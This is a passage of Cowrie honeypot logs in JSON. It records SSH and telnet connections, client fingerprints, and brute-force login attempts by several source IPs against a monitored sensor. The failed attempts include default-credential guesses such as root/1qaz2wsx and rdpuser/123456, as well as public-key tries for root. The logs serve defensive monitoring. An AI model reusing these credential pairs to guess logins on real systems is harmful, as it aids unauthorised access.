com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:29.993934Z","src_ip":"176.65.132.129","session":"4104ef34fc6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel","message":"login attempt [daniel/daniel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:30.248476Z","src_ip":"176.65.132.129","session":"4104ef34fc6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:31.335535Z","src_ip":"176.65.132.129","session":"4104ef34fc6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57268,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee08f6019fcb","protocol":"ssh","message":"New connection: 176.65.132.129:57268 (159.203.135.109:22) [session: ee08f6019fcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:33.257228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:33.261888Z","src_ip":"176.65.132.129","session":"ee08f6019fcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:33.343853Z","src_ip":"176.65.132.129","session":"ee08f6019fcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:33.589119Z","src_ip":"176.65.132.129","session":"ee08f6019fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46926,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c14c80d7af1","protocol":"telnet","message":"New connection: 45.58.127.90:46926 (10.17.0.5:23) [session: 6c14c80d7af1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:34.017451Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:34.673528Z","src_ip":"176.65.132.129","session":"ee08f6019fcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39148,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aa09dc59825","protocol":"ssh","message":"New connection: 176.65.132.129:39148 (159.203.135.109:22) [session: 6aa09dc59825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:36.804458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:36.808980Z","src_ip":"176.65.132.129","session":"6aa09dc59825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:36.972803Z","src_ip":"176.65.132.129","session":"6aa09dc59825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"system","password":"system","message":"login attempt [system/system] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:37.218560Z","src_ip":"176.65.132.129","session":"6aa09dc59825","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:38.303734Z","src_ip":"176.65.132.129","session":"6aa09dc59825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":46930,"dst_ip":"10.17.0.5","dst_port":23,"session":"809ef4cd9941","protocol":"telnet","message":"New connection: 45.58.127.90:46930 (10.17.0.5:23) [session: 809ef4cd9941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:39.733565Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47352,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1954b99e042","protocol":"telnet","message":"New connection: 45.58.127.90:47352 (10.17.0.5:23) [session: f1954b99e042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:39.797182Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39154,"dst_ip":"159.203.135.109","dst_port":22,"session":"91ea4a9e5e8d","protocol":"ssh","message":"New connection: 176.65.132.129:39154 (159.203.135.109:22) [session: 91ea4a9e5e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:40.107618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:40.113460Z","src_ip":"176.65.132.129","session":"91ea4a9e5e8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:40.195920Z","src_ip":"176.65.132.129","session":"91ea4a9e5e8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:40.444466Z","src_ip":"176.65.132.129","session":"91ea4a9e5e8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:41.573750Z","src_ip":"176.65.132.129","session":"91ea4a9e5e8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":39170,"dst_ip":"159.203.135.109","dst_port":22,"session":"030d139a21e7","protocol":"ssh","message":"New connection: 176.65.132.129:39170 (159.203.135.109:22) [session: 030d139a21e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:43.415142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:43.419315Z","src_ip":"176.65.132.129","session":"030d139a21e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:43.500974Z","src_ip":"176.65.132.129","session":"030d139a21e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":47360,"dst_ip":"10.17.0.5","dst_port":23,"session":"39176eff5fbd","protocol":"telnet","message":"New connection: 45.58.127.90:47360 (10.17.0.5:23) [session: 39176eff5fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:43.637210Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:43.977025Z","src_ip":"176.65.132.129","session":"030d139a21e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:45.061195Z","src_ip":"176.65.132.129","session":"030d139a21e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.117.118.196","src_port":46634,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7386ff19dd9","protocol":"ssh","message":"New connection: 185.117.118.196:46634 (10.17.0.5:22) [session: a7386ff19dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:45.478017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:45.482652Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:45.587662Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:e5:04:62:fb:ce:b8:c6:d1:33:26:6a:1d:44:c4:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGqijiXfsKZfj9WYmCEM5u4unCPQErkQAvpQR2IY77I3XqCGjUbVRgN9lYbgDrxdxh9G7TO31/UsOBtWfmaRBIH7Qacrjo88kAg0I9VAcIDvfzeDAc8Q8rkLY5p2FqmCfmPLjqUg1HyfkJUkcCBn36KtnBBrRaHA8ibzr+OtYMsJ7p1Y4Qs5FVveveXYN69JXb0yN3QIgWasJcZikBHjlZErN2OaZ34Q1TlE4QjYAFyh5kb/S+aFzvcqiG9HOOrpGK/NrlwFZZF3ed5Z5nz4ALdFxaliw0HmJmeUjsf/y4idy8/scXqGSqWCDYIEsAxbdykd6Xc0k2+fiVPNxASggN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:e5:04:62:fb:ce:b8:c6:d1:33:26:6a:1d:44:c4:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.073108Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:e5:04:62:fb:ce:b8:c6:d1:33:26:6a:1d:44:c4:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGqijiXfsKZfj9WYmCEM5u4unCPQErkQAvpQR2IY77I3XqCGjUbVRgN9lYbgDrxdxh9G7TO31/UsOBtWfmaRBIH7Qacrjo88kAg0I9VAcIDvfzeDAc8Q8rkLY5p2FqmCfmPLjqUg1HyfkJUkcCBn36KtnBBrRaHA8ibzr+OtYMsJ7p1Y4Qs5FVveveXYN69JXb0yN3QIgWasJcZikBHjlZErN2OaZ34Q1TlE4QjYAFyh5kb/S+aFzvcqiG9HOOrpGK/NrlwFZZF3ed5Z5nz4ALdFxaliw0HmJmeUjsf/y4idy8/scXqGSqWCDYIEsAxbdykd6Xc0k2+fiVPNxASggN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.076816Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:5f:5a:af:76:bb:74:fe:8c:75:42:a4:3d:b4:95:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAovDAyK07yZfWEC16IY8KEdw+1Na+Bsoau7gedbdISMIVU0/g8RerFDyVfOxGve+6GufXWSECq9XkzYaA9dsFrJYvdf5Y+mBfVCJhmWJX7ffIENK0WSV3ilSCYTwfZwN2yoR2nicHD55dJ2yBBi9iQ7pwW0+WnOcgwf0PHPEjIzPKNSS2u3xiezRuh3lSd6UznvG2VNfamnJ29c/4WeOpph/myMxFxFX5xiWw2fhSu5mpeXyFe9OMlQrwGjTdouZgGr8+ElIBCBTatQWDO9yvam2nW6VKm2bNDXabaiQou5tJ0WZDk+dJ7STXTTv5u7AI37b7wHrAHn+JfS4DyjTyWw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:5f:5a:af:76:bb:74:fe:8c:75:42:a4:3d:b4:95:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.178348Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:5f:5a:af:76:bb:74:fe:8c:75:42:a4:3d:b4:95:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAovDAyK07yZfWEC16IY8KEdw+1Na+Bsoau7gedbdISMIVU0/g8RerFDyVfOxGve+6GufXWSECq9XkzYaA9dsFrJYvdf5Y+mBfVCJhmWJX7ffIENK0WSV3ilSCYTwfZwN2yoR2nicHD55dJ2yBBi9iQ7pwW0+WnOcgwf0PHPEjIzPKNSS2u3xiezRuh3lSd6UznvG2VNfamnJ29c/4WeOpph/myMxFxFX5xiWw2fhSu5mpeXyFe9OMlQrwGjTdouZgGr8+ElIBCBTatQWDO9yvam2nW6VKm2bNDXabaiQou5tJ0WZDk+dJ7STXTTv5u7AI37b7wHrAHn+JfS4DyjTyWw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.182171Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:61:c4:01:23:9b:a0:f3:59:68:aa:b5:95:46:2a:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrrPNQOwoCY7g1iC1Tx4A6qMM0QRq8nu0CULIw/YdPihu9Pc7XeaT8WBUpOsnQ94AhTSIX2GgRBcdLSz33q90dT88POWy452R5nI1LfIVLenkg7rjn+6jpv8pMJtMQxv7kHA4dEk8mzy0iMqXLwYCBxs+5jhSe8gDOShWWZETwcGJ50cHwgdpA+mZ8NquLL3nmeRdJqlF7tnN0Y9suU7DxqPelwDFI9gdge49fFNgGjyfLubPNHU3WUgvG7CW//OBDxFTP9zmKWSQByPTk9I8lCNgPDBP8jxRcsTxi5qIlIkqXQWduXZ4/TrHt0kds0uUgtC/EQ86nnODrtoEkXt/1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:61:c4:01:23:9b:a0:f3:59:68:aa:b5:95:46:2a:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.283716Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:61:c4:01:23:9b:a0:f3:59:68:aa:b5:95:46:2a:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDrrPNQOwoCY7g1iC1Tx4A6qMM0QRq8nu0CULIw/YdPihu9Pc7XeaT8WBUpOsnQ94AhTSIX2GgRBcdLSz33q90dT88POWy452R5nI1LfIVLenkg7rjn+6jpv8pMJtMQxv7kHA4dEk8mzy0iMqXLwYCBxs+5jhSe8gDOShWWZETwcGJ50cHwgdpA+mZ8NquLL3nmeRdJqlF7tnN0Y9suU7DxqPelwDFI9gdge49fFNgGjyfLubPNHU3WUgvG7CW//OBDxFTP9zmKWSQByPTk9I8lCNgPDBP8jxRcsTxi5qIlIkqXQWduXZ4/TrHt0kds0uUgtC/EQ86nnODrtoEkXt/1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.287124Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:cc:d0:2e:15:4f:2f:17:42:b8:80:f8:39:c7:bc:0f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCeOgp7KlxWcvkya/UqkXg+pBcQk5OlAwCaIdbTitnDNzN99gUQ8whNDKUFNyALr21DrIK4TyRSrwINnaqkwLjDcG+JzavKtkLAf27Dzk0q79iCEz1H//FG/lwy4XZXZbwnsK0nRq/JqS1gLJ7ro/OTxU9DtG5E4WrhsMRduIsIP7kzbretR9nI8SJ3NDaTsyvTlPzkZm6nF0d51F1tnHdyMDCeesKD8Rgnkt4Fh+W6rpV/yJb7al2GM+bVWuDgRQcYVeZA/iV5Bb5bGRpnpdgP8DlqsJKeyI7vNSb5cwG1QBooSq6BCVnZ/whumcJz4gI1Bxmwu7znJspruUT3kdPt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint de:cc:d0:2e:15:4f:2f:17:42:b8:80:f8:39:c7:bc:0f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:46.391384Z","src_ip":"185.117.118.196","session":"a7386ff19dd9","protocol":"ssh"}
